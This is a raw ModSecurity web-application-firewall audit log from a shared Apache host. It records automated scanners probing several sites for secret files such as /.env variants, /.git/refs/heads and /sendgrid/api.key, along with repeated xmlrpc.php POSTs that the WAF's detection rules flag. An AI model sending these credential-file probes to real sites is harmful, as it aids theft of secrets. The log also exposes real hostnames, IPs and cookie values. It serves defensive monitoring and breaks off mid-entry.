--d1b7870b-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/refs/heads"] [unique_id "aE9U7rV9qKUox3X8g1YoTAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029550431388 724969 (- - -) Stopwatch2: 1750029550431388 724969; combined=1940, p1=401, p2=1442, p3=0, p4=0, p5=97, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d1b7870b-Z-- --0d1b9850-A-- [16/Jun/2025:04:50:07.220144 +0530] aE9VJvkk7JsP-DN1XGMmzwAAAAo 185.177.72.210 34228 127.0.0.1 7081 --0d1b9850-B-- GET /patchwork/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0d1b9850-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5593b27cdd6a4e1a20675d7cc88551731750029607; expires=Mon, 16 Jun 2025 00:20:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0d1b9850-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/patchwork/.env"] [unique_id "aE9VJvkk7JsP-DN1XGMmzwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029606453637 766571 (- - -) Stopwatch2: 1750029606453637 766571; combined=1965, p1=381, p2=1492, p3=0, p4=0, p5=91, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0d1b9850-Z-- --56b10c5c-A-- [16/Jun/2025:04:50:08.247655 +0530] aE9VJ32GhYywD7zZgx4GHgAAAAM 128.199.112.101 34270 127.0.0.1 7081 --56b10c5c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --56b10c5c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --56b10c5c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9VJ32GhYywD7zZgx4GHgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029607313357 934356 (- - -) Stopwatch2: 1750029607313357 934356; combined=2533, p1=392, p2=1651, p3=57, p4=82, p5=213, sr=112, sw=138, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56b10c5c-Z-- --8a55cc4e-A-- [16/Jun/2025:04:50:25.128634 +0530] aE9VOFxTdrwJSUMoZvG2XgAAAAc 185.177.72.210 35448 127.0.0.1 7081 --8a55cc4e-B-- GET /:8888/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8a55cc4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bbac3133218a2972f22b28a6da512f501750029624; expires=Mon, 16 Jun 2025 00:20:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8a55cc4e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/docker/.env"] [unique_id "aE9VOFxTdrwJSUMoZvG2XgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029624380765 747945 (- - -) Stopwatch2: 1750029624380765 747945; combined=1802, p1=402, p2=1200, p3=0, p4=0, p5=200, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8a55cc4e-Z-- --326ba829-A-- [16/Jun/2025:04:50:35.117650 +0530] aE9VQXwHSJGQ1A1pR0qcHwAAAAY 52.169.50.46 37686 127.0.0.1 7081 --326ba829-B-- GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.0 Host: www.gulachi.com X-Real-IP: 52.169.50.46 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: PHPSESSID=essi3sglf64lfisq3ct1iegc29; _sfs_id=14ecec530f149715dc4b826f55131bad1750029295; wordpress_test_cookie=WP%20Cookie%20check --326ba829-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Pragma: no-cache X-Cache-Enabled: False Link: <https://www.gulachi.com/wp-json/>; rel="https://api.w.org/" Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private WPO-Cache-Status: not cached WPO-Cache-Message: Page type is not cacheable (search, 404 or password-protected), This page returned an HTTP unauthorised response code (404) Connection: close Content-Type: text/html; charset=UTF-8 --326ba829-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gulachi.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gulachi.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gulachi.com"] [uri "/wp/wp-admin/includes/class-wp-filesystem-base.php.bak"] [unique_id "aE9VQXwHSJGQ1A1pR0qcHwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/gulachi.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029633469623 1648097 (- - -) Stopwatch2: 1750029633469623 1648097; combined=2308, p1=356, p2=1857, p3=0, p4=0, p5=95, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --326ba829-Z-- --6513e323-A-- [16/Jun/2025:04:50:40.114658 +0530] aE9VR7BfUm2FdhH5voEUWAAAAAU 185.177.72.210 56960 127.0.0.1 7081 --6513e323-B-- GET /.env.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6513e323-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f11b08aa925406cd39137a40f661ed31750029639; expires=Mon, 16 Jun 2025 00:20:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6513e323-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.php"] [unique_id "aE9VR7BfUm2FdhH5voEUWAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029639402457 712282 (- - -) Stopwatch2: 1750029639402457 712282; combined=1927, p1=369, p2=1450, p3=0, p4=0, p5=108, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6513e323-Z-- --d25dca70-A-- [16/Jun/2025:04:50:43.254827 +0530] aE9VSkoyC4_VyyL7sS6NNgAAAAI 185.177.72.210 57134 127.0.0.1 7081 --d25dca70-B-- GET /sendgrid/api.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d25dca70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f54b9780b1fcd9ff13f3544231fe2c861750029643; expires=Mon, 16 Jun 2025 00:20:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d25dca70-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/sendgrid/api.key"] [unique_id "aE9VSkoyC4_VyyL7sS6NNgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029642528355 726554 (- - -) Stopwatch2: 1750029642528355 726554; combined=1809, p1=318, p2=1396, p3=0, p4=0, p5=94, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d25dca70-Z-- --119c843b-A-- [16/Jun/2025:04:50:44.248790 +0530] aE9VS-xC6fQU5wYvxvl0rwAAAAk 185.177.72.210 57186 127.0.0.1 7081 --119c843b-B-- GET /:5601/environments/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --119c843b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=548f3bbc1881b68e32973d31bae7c97e1750029644; expires=Mon, 16 Jun 2025 00:20:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --119c843b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/environments/.env"] [unique_id "aE9VS-xC6fQU5wYvxvl0rwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029643585165 663689 (- - -) Stopwatch2: 1750029643585165 663689; combined=1942, p1=369, p2=1470, p3=0, p4=0, p5=102, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --119c843b-Z-- --1454d540-A-- [16/Jun/2025:04:51:08.268748 +0530] aE9VY-xC6fQU5wYvxvl0vwAAAAk 128.199.112.101 39904 127.0.0.1 7081 --1454d540-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1454d540-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1454d540-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9VY-xC6fQU5wYvxvl0vwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029667306255 962573 (- - -) Stopwatch2: 1750029667306255 962573; combined=2386, p1=389, p2=1553, p3=48, p4=63, p5=217, sr=113, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1454d540-Z-- --9cfff117-A-- [16/Jun/2025:04:51:42.487900 +0530] aE9VhkoyC4_VyyL7sS6NWgAAAAI 213.35.102.172 34434 127.0.0.1 7080 --9cfff117-B-- GET /.env HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --9cfff117-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --9cfff117-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env"] [unique_id "aE9VhkoyC4_VyyL7sS6NWgAAAAI"] Stopwatch: 1750029702485063 2902 (- - -) Stopwatch2: 1750029702485063 2902; combined=1698, p1=380, p2=1216, p3=20, p4=19, p5=63, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9cfff117-Z-- --3f7b1c25-A-- [16/Jun/2025:04:51:42.911679 +0530] aE9Vhvkk7JsP-DN1XGMnBgAAAAo 213.35.102.172 34444 127.0.0.1 7080 --3f7b1c25-B-- GET /config/.env HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --3f7b1c25-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --3f7b1c25-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/config/.env"] [unique_id "aE9Vhvkk7JsP-DN1XGMnBgAAAAo"] Stopwatch: 1750029702908655 3075 (- - -) Stopwatch2: 1750029702908655 3075; combined=1791, p1=412, p2=1283, p3=18, p4=26, p5=51, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f7b1c25-Z-- --e002336d-A-- [16/Jun/2025:04:51:43.826433 +0530] aE9Vh7V9qKUox3X8g1YonQAAAAg 213.35.102.172 34458 127.0.0.1 7080 --e002336d-B-- GET /api/.env HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --e002336d-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --e002336d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/api/.env"] [unique_id "aE9Vh7V9qKUox3X8g1YonQAAAAg"] Stopwatch: 1750029703823234 3262 (- - -) Stopwatch2: 1750029703823234 3262; combined=1975, p1=410, p2=1467, p3=23, p4=22, p5=53, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e002336d-Z-- --7524645d-A-- [16/Jun/2025:04:51:44.692103 +0530] aE9ViLBfUm2FdhH5voEUfAAAAAU 213.35.102.172 34474 127.0.0.1 7080 --7524645d-B-- GET /.env.backup HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --7524645d-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --7524645d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.backup"] [unique_id "aE9ViLBfUm2FdhH5voEUfAAAAAU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.backup"] [unique_id "aE9ViLBfUm2FdhH5voEUfAAAAAU"] Stopwatch: 1750029704688864 3286 (- - -) Stopwatch2: 1750029704688864 3286; combined=1986, p1=387, p2=1466, p3=21, p4=28, p5=84, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7524645d-Z-- --137a1d3e-A-- [16/Jun/2025:04:51:45.142334 +0530] aE9ViZbumDYPKpRD2ekrnQAAAAA 213.35.102.172 34476 127.0.0.1 7080 --137a1d3e-B-- GET /.env.bak HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --137a1d3e-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --137a1d3e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.bak"] [unique_id "aE9ViZbumDYPKpRD2ekrnQAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.bak"] [unique_id "aE9ViZbumDYPKpRD2ekrnQAAAAA"] Stopwatch: 1750029705139374 3008 (- - -) Stopwatch2: 1750029705139374 3008; combined=1765, p1=415, p2=1238, p3=19, p4=21, p5=72, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --137a1d3e-Z-- --1181434e-A-- [16/Jun/2025:04:51:45.616308 +0530] aE9ViUoyC4_VyyL7sS6NXAAAAAI 213.35.102.172 34490 127.0.0.1 7080 --1181434e-B-- GET /.env.dev HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 